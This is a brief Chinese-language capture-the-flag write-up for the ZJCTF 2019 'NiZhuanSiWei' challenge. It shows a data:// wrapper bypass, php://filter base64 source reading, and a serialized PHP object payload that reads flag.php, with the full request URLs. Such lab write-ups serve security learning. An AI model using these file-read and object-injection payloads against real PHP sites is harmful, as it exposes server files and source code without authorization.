24.[ZJCTF 2019]NiZhuanSiWei
打开一段源码:看了下源码,这题主要考察伪协议data:写入,和php://filter读取文件以及反序列化。
data用法:data://text/plain;base64,
php://filter用法:php://filter/read=convert.base64-encode/resource=
访问
http://68a56f51-a28e-415e-b2dd-79cf3197e5cd.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
返回一段base64加密数据
解密得到一段代码:
代码是一个读到flag.php文件,前面password变量进行反序列化读取。
构造:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最重payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这里直接file=useless.php,不用php://filter读取。读取的话会不行。
flag就在源代码里面